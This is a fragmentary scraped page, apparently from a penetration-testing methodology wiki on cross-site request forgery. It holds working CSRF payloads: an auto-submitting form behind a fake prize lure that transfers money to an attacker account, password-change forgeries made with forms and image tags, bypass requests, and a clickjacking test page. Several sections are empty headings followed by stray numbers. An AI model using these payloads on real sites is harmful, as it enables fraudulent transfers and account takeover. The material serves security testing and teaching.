Cross Site Request Forgery
Check List
Methodology
Black Box
Session Riding
1
2
3
4
5
6
7
<html>
<body>
<h2>Congratulations! You won $1000!</h2>
<form action="https://target.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="ATTACKER123">
<input type="submit" value="Claim Prize">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>8
9
10
11
1
2
3
4
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
<iframe src="PAGE_URL" width="500" height="500"></iframe>
</body>
</html>Change the Request Method
1
2
3
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b4
<html>
<img src="https://email.example.com/password_change?new_password=abc123"/>
</html>Bypass CSRF Tokens Stored on the Server
1
2
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123<html>
<form method="POST" action="https://email.example.com/password_change" id="csrf-form">
<input type="text" name="new_password" value="abc123">
<input type='submit' value="Submit">
</form>
<script>document.getElementById("csrf-form").submit();</script>
</html>3
POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN4
Bypass Double-Submit CSRF Tokens
1
2
Bypass CSRF Referer Header Check
1
2
Cart Manipulation
1
2
3
4
5
6
7
8
9
OTP Bypass via CSRF on Edit Profile
1
2
3
4
5
6
7
8
9
10
11
12
13
1
2
3
4
5
6
7
8
9
White Box
Cheat Sheet
Last updated